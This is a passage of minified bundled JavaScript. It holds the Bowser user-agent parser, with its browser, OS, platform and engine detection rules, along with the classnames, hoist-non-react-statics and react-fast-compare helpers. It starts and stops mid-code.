t=e.split(".").splice(0,2).map((function(e){return parseInt(e,10)||0}));if(t.push(0),10===t[0])switch(t[1]){case 5:return"Leopard";case 6:return"Snow Leopard";case 7:return"Lion";case 8:return"Mountain Lion";case 9:return"Mavericks";case 10:return"Yosemite";case 11:return"El Capitan";case 12:return"Sierra";case 13:return"High Sierra";case 14:return"Mojave";case 15:return"Catalina";default:return}},e.getAndroidVersionName=function(e){var t=e.split(".").splice(0,2).map((function(e){return parseInt(e,10)||0}));if(t.push(0),!(1===t[0]&&t[1]<5))return 1===t[0]&&t[1]<6?"Cupcake":1===t[0]&&t[1]>=6?"Donut":2===t[0]&&t[1]<2?"Eclair":2===t[0]&&2===t[1]?"Froyo":2===t[0]&&t[1]>2?"Gingerbread":3===t[0]?"Honeycomb":4===t[0]&&t[1]<1?"Ice Cream Sandwich":4===t[0]&&t[1]<4?"Jelly Bean":4===t[0]&&t[1]>=4?"KitKat":5===t[0]?"Lollipop":6===t[0]?"Marshmallow":7===t[0]?"Nougat":8===t[0]?"Oreo":9===t[0]?"Pie":void 0},e.getVersionPrecision=function(e){return e.split(".").length},e.compareVersions=function(t,s,r){void 0===r&&(r=!1);var a=e.getVersionPrecision(t),o=e.getVersionPrecision(s),n=Math.max(a,o),i=0,l=e.map([t,s],(function(t){var s=n-e.getVersionPrecision(t),r=t+new Array(s+1).join(".0");return e.map(r.split("."),(function(e){return new Array(20-e.length).join("0")+e})).reverse()}));for(r&&(i=n-Math.min(a,o)),n-=1;n>=i;){if(l[0][n]>l[1][n])return 1;if(l[0][n]===l[1][n]){if(n===i)return 0;n-=1}else if(l[0][n]<l[1][n])return-1}},e.map=function(e,t){var s,r=[];if(Array.prototype.map)return Array.prototype.map.call(e,t);for(s=0;s<e.length;s+=1)r.push(t(e[s]));return r},e.find=function(e,t){var s,r;if(Array.prototype.find)return Array.prototype.find.call(e,t);for(s=0,r=e.length;s<r;s+=1){var a=e[s];if(t(a,s))return a}},e.assign=function(e){for(var t,s,r=e,a=arguments.length,o=new Array(a>1?a-1:0),n=1;n<a;n++)o[n-1]=arguments[n];if(Object.assign)return Object.assign.apply(Object,[e].concat(o));var i=function(){var e=o[t];"object"==typeof e&&null!==e&&Object.keys(e).forEach((function(t){r[t]=e[t]}))};for(t=0,s=o.length;t<s;t+=1)i();return e},e.getBrowserAlias=function(e){return r.BROWSER_ALIASES_MAP[e]},e.getBrowserTypeByAlias=function(e){return r.BROWSER_MAP[e]||""},e}();t.default=a,e.exports=t.default},18:function(e,t,s){"use strict";t.__esModule=!0,t.ENGINE_MAP=t.OS_MAP=t.PLATFORMS_MAP=t.BROWSER_MAP=t.BROWSER_ALIASES_MAP=void 0,t.BROWSER_ALIASES_MAP={"Amazon Silk":"amazon_silk","Android Browser":"android",Bada:"bada",BlackBerry:"blackberry",Chrome:"chrome",Chromium:"chromium",Electron:"electron",Epiphany:"epiphany",Firefox:"firefox",Focus:"focus",Generic:"generic","Google Search":"google_search",Googlebot:"googlebot","Internet Explorer":"ie","K-Meleon":"k_meleon",Maxthon:"maxthon","Microsoft Edge":"edge","MZ Browser":"mz","NAVER Whale Browser":"naver",Opera:"opera","Opera Coast":"opera_coast",PhantomJS:"phantomjs",Puffin:"puffin",QupZilla:"qupzilla",QQ:"qq",QQLite:"qqlite",Safari:"safari",Sailfish:"sailfish","Samsung Internet for Android":"samsung_internet",SeaMonkey:"seamonkey",Sleipnir:"sleipnir",Swing:"swing",Tizen:"tizen","UC Browser":"uc",Vivaldi:"vivaldi","WebOS Browser":"webos",WeChat:"wechat","Yandex Browser":"yandex",Roku:"roku"},t.BROWSER_MAP={amazon_silk:"Amazon Silk",android:"Android Browser",bada:"Bada",blackberry:"BlackBerry",chrome:"Chrome",chromium:"Chromium",electron:"Electron",epiphany:"Epiphany",firefox:"Firefox",focus:"Focus",generic:"Generic",googlebot:"Googlebot",google_search:"Google Search",ie:"Internet Explorer",k_meleon:"K-Meleon",maxthon:"Maxthon",edge:"Microsoft Edge",mz:"MZ Browser",naver:"NAVER Whale Browser",opera:"Opera",opera_coast:"Opera Coast",phantomjs:"PhantomJS",puffin:"Puffin",qupzilla:"QupZilla",qq:"QQ Browser",qqlite:"QQ Browser Lite",safari:"Safari",sailfish:"Sailfish",samsung_internet:"Samsung Internet for Android",seamonkey:"SeaMonkey",sleipnir:"Sleipnir",swing:"Swing",tizen:"Tizen",uc:"UC Browser",vivaldi:"Vivaldi",webos:"WebOS Browser",wechat:"WeChat",yandex:"Yandex Browser"},t.PLATFORMS_MAP={tablet:"tablet",mobile:"mobile",desktop:"desktop",tv:"tv"},t.OS_MAP={WindowsPhone:"Windows Phone",Windows:"Windows",MacOS:"macOS",iOS:"iOS",Android:"Android",WebOS:"WebOS",BlackBerry:"BlackBerry",Bada:"Bada",Tizen:"Tizen",Linux:"Linux",ChromeOS:"Chrome OS",PlayStation4:"PlayStation 4",Roku:"Roku"},t.ENGINE_MAP={EdgeHTML:"EdgeHTML",Blink:"Blink",Trident:"Trident",Presto:"Presto",Gecko:"Gecko",WebKit:"WebKit"}},90:function(e,t,s){"use strict";t.__esModule=!0,t.default=void 0;var r,a=(r=s(91))&&r.__esModule?r:{default:r},o=s(18);function n(e,t){for(var s=0;s<t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var i=function(){function e(){}var t,s;return e.getParser=function(e,t){if(void 0===t&&(t=!1),"string"!=typeof e)throw new Error("UserAgent should be a string");return new a.default(e,t)},e.parse=function(e){return new a.default(e).getResult()},t=e,s=[{key:"BROWSER_MAP",get:function(){return o.BROWSER_MAP}},{key:"ENGINE_MAP",get:function(){return o.ENGINE_MAP}},{key:"OS_MAP",get:function(){return o.OS_MAP}},{key:"PLATFORMS_MAP",get:function(){return o.PLATFORMS_MAP}}],null&&n(t.prototype,null),s&&n(t,s),e}();t.default=i,e.exports=t.default},91:function(e,t,s){"use strict";t.__esModule=!0,t.default=void 0;var r=l(s(92)),a=l(s(93)),o=l(s(94)),n=l(s(95)),i=l(s(17));function l(e){return e&&e.__esModule?e:{default:e}}var c=function(){function e(e,t){if(void 0===t&&(t=!1),null==e||""===e)throw new Error("UserAgent parameter can't be empty");this._ua=e,this.parsedResult={},!0!==t&&this.parse()}var t=e.prototype;return t.getUA=function(){return this._ua},t.test=function(e){return e.test(this._ua)},t.parseBrowser=function(){var e=this;this.parsedResult.browser={};var t=i.default.find(r.default,(function(t){if("function"==typeof t.test)return t.test(e);if(t.test instanceof Array)return t.test.some((function(t){return e.test(t)}));throw new Error("Browser's test function is not valid")}));return t&&(this.parsedResult.browser=t.describe(this.getUA())),this.parsedResult.browser},t.getBrowser=function(){return this.parsedResult.browser?this.parsedResult.browser:this.parseBrowser()},t.getBrowserName=function(e){return e?String(this.getBrowser().name).toLowerCase()||"":this.getBrowser().name||""},t.getBrowserVersion=function(){return this.getBrowser().version},t.getOS=function(){return this.parsedResult.os?this.parsedResult.os:this.parseOS()},t.parseOS=function(){var e=this;this.parsedResult.os={};var t=i.default.find(a.default,(function(t){if("function"==typeof t.test)return t.test(e);if(t.test instanceof Array)return t.test.some((function(t){return e.test(t)}));throw new Error("Browser's test function is not valid")}));return t&&(this.parsedResult.os=t.describe(this.getUA())),this.parsedResult.os},t.getOSName=function(e){var t=this.getOS().name;return e?String(t).toLowerCase()||"":t||""},t.getOSVersion=function(){return this.getOS().version},t.getPlatform=function(){return this.parsedResult.platform?this.parsedResult.platform:this.parsePlatform()},t.getPlatformType=function(e){void 0===e&&(e=!1);var t=this.getPlatform().type;return e?String(t).toLowerCase()||"":t||""},t.parsePlatform=function(){var e=this;this.parsedResult.platform={};var t=i.default.find(o.default,(function(t){if("function"==typeof t.test)return t.test(e);if(t.test instanceof Array)return t.test.some((function(t){return e.test(t)}));throw new Error("Browser's test function is not valid")}));return t&&(this.parsedResult.platform=t.describe(this.getUA())),this.parsedResult.platform},t.getEngine=function(){return this.parsedResult.engine?this.parsedResult.engine:this.parseEngine()},t.getEngineName=function(e){return e?String(this.getEngine().name).toLowerCase()||"":this.getEngine().name||""},t.parseEngine=function(){var e=this;this.parsedResult.engine={};var t=i.default.find(n.default,(function(t){if("function"==typeof t.test)return t.test(e);if(t.test instanceof Array)return t.test.some((function(t){return e.test(t)}));throw new Error("Browser's test function is not valid")}));return t&&(this.parsedResult.engine=t.describe(this.getUA())),this.parsedResult.engine},t.parse=function(){return this.parseBrowser(),this.parseOS(),this.parsePlatform(),this.parseEngine(),this},t.getResult=function(){return i.default.assign({},this.parsedResult)},t.satisfies=function(e){var t=this,s={},r=0,a={},o=0;if(Object.keys(e).forEach((function(t){var n=e[t];"string"==typeof n?(a[t]=n,o+=1):"object"==typeof n&&(s[t]=n,r+=1)})),r>0){var n=Object.keys(s),l=i.default.find(n,(function(e){return t.isOS(e)}));if(l){var c=this.satisfies(s[l]);if(void 0!==c)return c}var d=i.default.find(n,(function(e){return t.isPlatform(e)}));if(d){var u=this.satisfies(s[d]);if(void 0!==u)return u}}if(o>0){var p=Object.keys(a),m=i.default.find(p,(function(e){return t.isBrowser(e,!0)}));if(void 0!==m)return this.compareVersion(a[m])}},t.isBrowser=function(e,t){void 0===t&&(t=!1);var s=this.getBrowserName().toLowerCase(),r=e.toLowerCase(),a=i.default.getBrowserTypeByAlias(r);return t&&a&&(r=a.toLowerCase()),r===s},t.compareVersion=function(e){var t=[0],s=e,r=!1,a=this.getBrowserVersion();if("string"==typeof a)return">"===e[0]||"<"===e[0]?(s=e.substr(1),"="===e[1]?(r=!0,s=e.substr(2)):t=[],">"===e[0]?t.push(1):t.push(-1)):"="===e[0]?s=e.substr(1):"~"===e[0]&&(r=!0,s=e.substr(1)),t.indexOf(i.default.compareVersions(a,s,r))>-1},t.isOS=function(e){return this.getOSName(!0)===String(e).toLowerCase()},t.isPlatform=function(e){return this.getPlatformType(!0)===String(e).toLowerCase()},t.isEngine=function(e){return this.getEngineName(!0)===String(e).toLowerCase()},t.is=function(e,t){return void 0===t&&(t=!1),this.isBrowser(e,t)||this.isOS(e)||this.isPlatform(e)},t.some=function(e){var t=this;return void 0===e&&(e=[]),e.some((function(e){return t.is(e)}))},e}();t.default=c,e.exports=t.default},92:function(e,t,s){"use strict";t.__esModule=!0,t.default=void 0;var r,a=(r=s(17))&&r.__esModule?r:{default:r},o=/version\/(\d+(\.?_?\d+)+)/i,n=[{test:[/googlebot/i],describe:function(e){var t={name:"Googlebot"},s=a.default.getFirstMatch(/googlebot\/(\d+(\.\d+))/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/opera/i],describe:function(e){var t={name:"Opera"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/(?:opera)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/opr\/|opios/i],describe:function(e){var t={name:"Opera"},s=a.default.getFirstMatch(/(?:opr|opios)[\s/](\S+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/SamsungBrowser/i],describe:function(e){var t={name:"Samsung Internet for Android"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/(?:SamsungBrowser)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/Whale/i],describe:function(e){var t={name:"NAVER Whale Browser"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/(?:whale)[\s/](\d+(?:\.\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/MZBrowser/i],describe:function(e){var t={name:"MZ Browser"},s=a.default.getFirstMatch(/(?:MZBrowser)[\s/](\d+(?:\.\d+)+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/focus/i],describe:function(e){var t={name:"Focus"},s=a.default.getFirstMatch(/(?:focus)[\s/](\d+(?:\.\d+)+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/swing/i],describe:function(e){var t={name:"Swing"},s=a.default.getFirstMatch(/(?:swing)[\s/](\d+(?:\.\d+)+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/coast/i],describe:function(e){var t={name:"Opera Coast"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/(?:coast)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/opt\/\d+(?:.?_?\d+)+/i],describe:function(e){var t={name:"Opera Touch"},s=a.default.getFirstMatch(/(?:opt)[\s/](\d+(\.?_?\d+)+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/yabrowser/i],describe:function(e){var t={name:"Yandex Browser"},s=a.default.getFirstMatch(/(?:yabrowser)[\s/](\d+(\.?_?\d+)+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/ucbrowser/i],describe:function(e){var t={name:"UC Browser"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/(?:ucbrowser)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/Maxthon|mxios/i],describe:function(e){var t={name:"Maxthon"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/(?:Maxthon|mxios)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/epiphany/i],describe:function(e){var t={name:"Epiphany"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/(?:epiphany)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/puffin/i],describe:function(e){var t={name:"Puffin"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/(?:puffin)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/sleipnir/i],describe:function(e){var t={name:"Sleipnir"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/(?:sleipnir)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/k-meleon/i],describe:function(e){var t={name:"K-Meleon"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/(?:k-meleon)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/micromessenger/i],describe:function(e){var t={name:"WeChat"},s=a.default.getFirstMatch(/(?:micromessenger)[\s/](\d+(\.?_?\d+)+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/qqbrowser/i],describe:function(e){var t={name:/qqbrowserlite/i.test(e)?"QQ Browser Lite":"QQ Browser"},s=a.default.getFirstMatch(/(?:qqbrowserlite|qqbrowser)[/](\d+(\.?_?\d+)+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/msie|trident/i],describe:function(e){var t={name:"Internet Explorer"},s=a.default.getFirstMatch(/(?:msie |rv:)(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/\sedg\//i],describe:function(e){var t={name:"Microsoft Edge"},s=a.default.getFirstMatch(/\sedg\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/edg([ea]|ios)/i],describe:function(e){var t={name:"Microsoft Edge"},s=a.default.getSecondMatch(/edg([ea]|ios)\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/vivaldi/i],describe:function(e){var t={name:"Vivaldi"},s=a.default.getFirstMatch(/vivaldi\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/seamonkey/i],describe:function(e){var t={name:"SeaMonkey"},s=a.default.getFirstMatch(/seamonkey\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/sailfish/i],describe:function(e){var t={name:"Sailfish"},s=a.default.getFirstMatch(/sailfish\s?browser\/(\d+(\.\d+)?)/i,e);return s&&(t.version=s),t}},{test:[/silk/i],describe:function(e){var t={name:"Amazon Silk"},s=a.default.getFirstMatch(/silk\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/phantom/i],describe:function(e){var t={name:"PhantomJS"},s=a.default.getFirstMatch(/phantomjs\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/slimerjs/i],describe:function(e){var t={name:"SlimerJS"},s=a.default.getFirstMatch(/slimerjs\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/blackberry|\bbb\d+/i,/rim\stablet/i],describe:function(e){var t={name:"BlackBerry"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/blackberry[\d]+\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/(web|hpw)[o0]s/i],describe:function(e){var t={name:"WebOS Browser"},s=a.default.getFirstMatch(o,e)||a.default.getFirstMatch(/w(?:eb)?[o0]sbrowser\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/bada/i],describe:function(e){var t={name:"Bada"},s=a.default.getFirstMatch(/dolfin\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/tizen/i],describe:function(e){var t={name:"Tizen"},s=a.default.getFirstMatch(/(?:tizen\s?)?browser\/(\d+(\.?_?\d+)+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/qupzilla/i],describe:function(e){var t={name:"QupZilla"},s=a.default.getFirstMatch(/(?:qupzilla)[\s/](\d+(\.?_?\d+)+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/firefox|iceweasel|fxios/i],describe:function(e){var t={name:"Firefox"},s=a.default.getFirstMatch(/(?:firefox|iceweasel|fxios)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/electron/i],describe:function(e){var t={name:"Electron"},s=a.default.getFirstMatch(/(?:electron)\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/MiuiBrowser/i],describe:function(e){var t={name:"Miui"},s=a.default.getFirstMatch(/(?:MiuiBrowser)[\s/](\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/chromium/i],describe:function(e){var t={name:"Chromium"},s=a.default.getFirstMatch(/(?:chromium)[\s/](\d+(\.?_?\d+)+)/i,e)||a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/chrome|crios|crmo/i],describe:function(e){var t={name:"Chrome"},s=a.default.getFirstMatch(/(?:chrome|crios|crmo)\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/GSA/i],describe:function(e){var t={name:"Google Search"},s=a.default.getFirstMatch(/(?:GSA)\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:function(e){var t=!e.test(/like android/i),s=e.test(/android/i);return t&&s},describe:function(e){var t={name:"Android Browser"},s=a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/playstation 4/i],describe:function(e){var t={name:"PlayStation 4"},s=a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/safari|applewebkit/i],describe:function(e){var t={name:"Safari"},s=a.default.getFirstMatch(o,e);return s&&(t.version=s),t}},{test:[/.*/i],describe:function(e){var t=-1!==e.search("\\(")?/^(.*)\/(.*)[ \t]\((.*)/:/^(.*)\/(.*) /;return{name:a.default.getFirstMatch(t,e),version:a.default.getSecondMatch(t,e)}}}];t.default=n,e.exports=t.default},93:function(e,t,s){"use strict";t.__esModule=!0,t.default=void 0;var r,a=(r=s(17))&&r.__esModule?r:{default:r},o=s(18),n=[{test:[/Roku\/DVP/],describe:function(e){var t=a.default.getFirstMatch(/Roku\/DVP-(\d+\.\d+)/i,e);return{name:o.OS_MAP.Roku,version:t}}},{test:[/windows phone/i],describe:function(e){var t=a.default.getFirstMatch(/windows phone (?:os)?\s?(\d+(\.\d+)*)/i,e);return{name:o.OS_MAP.WindowsPhone,version:t}}},{test:[/windows /i],describe:function(e){var t=a.default.getFirstMatch(/Windows ((NT|XP)( \d\d?.\d)?)/i,e),s=a.default.getWindowsVersionName(t);return{name:o.OS_MAP.Windows,version:t,versionName:s}}},{test:[/Macintosh(.*?) FxiOS(.*?)\//],describe:function(e){var t={name:o.OS_MAP.iOS},s=a.default.getSecondMatch(/(Version\/)(\d[\d.]+)/,e);return s&&(t.version=s),t}},{test:[/macintosh/i],describe:function(e){var t=a.default.getFirstMatch(/mac os x (\d+(\.?_?\d+)+)/i,e).replace(/[_\s]/g,"."),s=a.default.getMacOSVersionName(t),r={name:o.OS_MAP.MacOS,version:t};return s&&(r.versionName=s),r}},{test:[/(ipod|iphone|ipad)/i],describe:function(e){var t=a.default.getFirstMatch(/os (\d+([_\s]\d+)*) like mac os x/i,e).replace(/[_\s]/g,".");return{name:o.OS_MAP.iOS,version:t}}},{test:function(e){var t=!e.test(/like android/i),s=e.test(/android/i);return t&&s},describe:function(e){var t=a.default.getFirstMatch(/android[\s/-](\d+(\.\d+)*)/i,e),s=a.default.getAndroidVersionName(t),r={name:o.OS_MAP.Android,version:t};return s&&(r.versionName=s),r}},{test:[/(web|hpw)[o0]s/i],describe:function(e){var t=a.default.getFirstMatch(/(?:web|hpw)[o0]s\/(\d+(\.\d+)*)/i,e),s={name:o.OS_MAP.WebOS};return t&&t.length&&(s.version=t),s}},{test:[/blackberry|\bbb\d+/i,/rim\stablet/i],describe:function(e){var t=a.default.getFirstMatch(/rim\stablet\sos\s(\d+(\.\d+)*)/i,e)||a.default.getFirstMatch(/blackberry\d+\/(\d+([_\s]\d+)*)/i,e)||a.default.getFirstMatch(/\bbb(\d+)/i,e);return{name:o.OS_MAP.BlackBerry,version:t}}},{test:[/bada/i],describe:function(e){var t=a.default.getFirstMatch(/bada\/(\d+(\.\d+)*)/i,e);return{name:o.OS_MAP.Bada,version:t}}},{test:[/tizen/i],describe:function(e){var t=a.default.getFirstMatch(/tizen[/\s](\d+(\.\d+)*)/i,e);return{name:o.OS_MAP.Tizen,version:t}}},{test:[/linux/i],describe:function(){return{name:o.OS_MAP.Linux}}},{test:[/CrOS/],describe:function(){return{name:o.OS_MAP.ChromeOS}}},{test:[/PlayStation 4/],describe:function(e){var t=a.default.getFirstMatch(/PlayStation 4[/\s](\d+(\.\d+)*)/i,e);return{name:o.OS_MAP.PlayStation4,version:t}}}];t.default=n,e.exports=t.default},94:function(e,t,s){"use strict";t.__esModule=!0,t.default=void 0;var r,a=(r=s(17))&&r.__esModule?r:{default:r},o=s(18),n=[{test:[/googlebot/i],describe:function(){return{type:"bot",vendor:"Google"}}},{test:[/huawei/i],describe:function(e){var t=a.default.getFirstMatch(/(can-l01)/i,e)&&"Nova",s={type:o.PLATFORMS_MAP.mobile,vendor:"Huawei"};return t&&(s.model=t),s}},{test:[/nexus\s*(?:7|8|9|10).*/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Nexus"}}},{test:[/ipad/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Apple",model:"iPad"}}},{test:[/Macintosh(.*?) FxiOS(.*?)\//],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Apple",model:"iPad"}}},{test:[/kftt build/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Amazon",model:"Kindle Fire HD 7"}}},{test:[/silk/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet,vendor:"Amazon"}}},{test:[/tablet(?! pc)/i],describe:function(){return{type:o.PLATFORMS_MAP.tablet}}},{test:function(e){var t=e.test(/ipod|iphone/i),s=e.test(/like (ipod|iphone)/i);return t&&!s},describe:function(e){var t=a.default.getFirstMatch(/(ipod|iphone)/i,e);return{type:o.PLATFORMS_MAP.mobile,vendor:"Apple",model:t}}},{test:[/nexus\s*[0-6].*/i,/galaxy nexus/i],describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"Nexus"}}},{test:[/[^-]mobi/i],describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(e){return"blackberry"===e.getBrowserName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"BlackBerry"}}},{test:function(e){return"bada"===e.getBrowserName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(e){return"windows phone"===e.getBrowserName()},describe:function(){return{type:o.PLATFORMS_MAP.mobile,vendor:"Microsoft"}}},{test:function(e){var t=Number(String(e.getOSVersion()).split(".")[0]);return"android"===e.getOSName(!0)&&t>=3},describe:function(){return{type:o.PLATFORMS_MAP.tablet}}},{test:function(e){return"android"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.mobile}}},{test:function(e){return"macos"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop,vendor:"Apple"}}},{test:function(e){return"windows"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop}}},{test:function(e){return"linux"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.desktop}}},{test:function(e){return"playstation 4"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.tv}}},{test:function(e){return"roku"===e.getOSName(!0)},describe:function(){return{type:o.PLATFORMS_MAP.tv}}}];t.default=n,e.exports=t.default},95:function(e,t,s){"use strict";t.__esModule=!0,t.default=void 0;var r,a=(r=s(17))&&r.__esModule?r:{default:r},o=s(18),n=[{test:function(e){return"microsoft edge"===e.getBrowserName(!0)},describe:function(e){if(/\sedg\//i.test(e))return{name:o.ENGINE_MAP.Blink};var t=a.default.getFirstMatch(/edge\/(\d+(\.?_?\d+)+)/i,e);return{name:o.ENGINE_MAP.EdgeHTML,version:t}}},{test:[/trident/i],describe:function(e){var t={name:o.ENGINE_MAP.Trident},s=a.default.getFirstMatch(/trident\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:function(e){return e.test(/presto/i)},describe:function(e){var t={name:o.ENGINE_MAP.Presto},s=a.default.getFirstMatch(/presto\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:function(e){var t=e.test(/gecko/i),s=e.test(/like gecko/i);return t&&!s},describe:function(e){var t={name:o.ENGINE_MAP.Gecko},s=a.default.getFirstMatch(/gecko\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}},{test:[/(apple)?webkit\/537\.36/i],describe:function(){return{name:o.ENGINE_MAP.Blink}}},{test:[/(apple)?webkit/i],describe:function(e){var t={name:o.ENGINE_MAP.WebKit},s=a.default.getFirstMatch(/webkit\/(\d+(\.?_?\d+)+)/i,e);return s&&(t.version=s),t}}];t.default=n,e.exports=t.default}})},4184:(e,t)=>{var s;!function(){"use strict";var r={}.hasOwnProperty;function a(){for(var e=[],t=0;t<arguments.length;t++){var s=arguments[t];if(s){var o=typeof s;if("string"===o||"number"===o)e.push(s);else if(Array.isArray(s)&&s.length){var n=a.apply(null,s);n&&e.push(n)}else if("object"===o)for(var i in s)r.call(s,i)&&s[i]&&e.push(i)}}return e.join(" ")}e.exports?(a.default=a,e.exports=a):void 0===(s=function(){return a}.apply(t,[]))||(e.exports=s)}()},6214:(e,t,s)=>{"use strict";var r=s(9864),a={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},o={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},n={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},i={};function l(e){return r.isMemo(e)?n:i[e.$$typeof]||a}i[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0};var c=Object.defineProperty,d=Object.getOwnPropertyNames,u=Object.getOwnPropertySymbols,p=Object.getOwnPropertyDescriptor,m=Object.getPrototypeOf,f=Object.prototype;e.exports=function e(t,s,r){if("string"!=typeof s){if(f){var a=m(s);a&&a!==f&&e(t,a,r)}var n=d(s);u&&(n=n.concat(u(s)));for(var i=l(t),h=l(s),y=0;y<n.length;++y){var _=n[y];if(!(o[_]||r&&r[_]||h&&h[_]||i&&i[_])){var w=p(s,_);try{c(t,_,w)}catch(e){}}}return t}return t}},667:e=>{"use strict";var t=Array.isArray,s=Object.keys,r=Object.prototype.hasOwnProperty,a="undefined"!=typeof Element;function o(e,n){if(e===n)return!0;if(e&&n&&"object"==typeof e&&"object"==typeof n){var i,l,c,d=t(e),u=t(n);if(d&&u){if((l=e.length)!=n.length)return!1;for(i=l;0!=i--;)if(!o(e[i],n[i]))return!1;return!0}if(d!=u)return!1;var p=e instanceof Date,m=n instanceof Date;if(p!=m)return!1;if(p&&m)return e.getTime()==n.getTime();var f=e instanceof RegExp,h=n instanceof RegExp;if(f!=h)return!1;if(f&&h)return e.toString()==n.toString();var y=s(e);if((l=y.length)!==s(n).length)return!1;for(i=l;0!=i--;)if(!r.call(n,y[i]))return!1;if(a&&e instanceof Element&&n instanceof Element)return e===n;for(i=l;0!=i--;)if(!("_owner"===(c=y[i])&&e.$$typeof||o(e[c],n[c])))return!1;return!0}return e!=e&&n!=n}e.exports=function(e,t){try{return o(e,t)}catch(e){if(e.message&&e.message.match(/stack|recursion/i)||-2146828260===e.number)return console.warn("Warning: react-fast-compare does not handle circular references.",e.name,e.message),!1;throw e}}},5760:e=>{"use strict";function t(e){this._maxSize=e,this.clear()}t.prototype.clear=function(){this._size=0,this._values=Object.create(null)},t.prototype.get=function(e){return this._values[e]},t.prototype.set=function(e,t){return this._size>=this._maxSize&&this.clear(),e in this._values||this._size++,this._values[e]=t};var 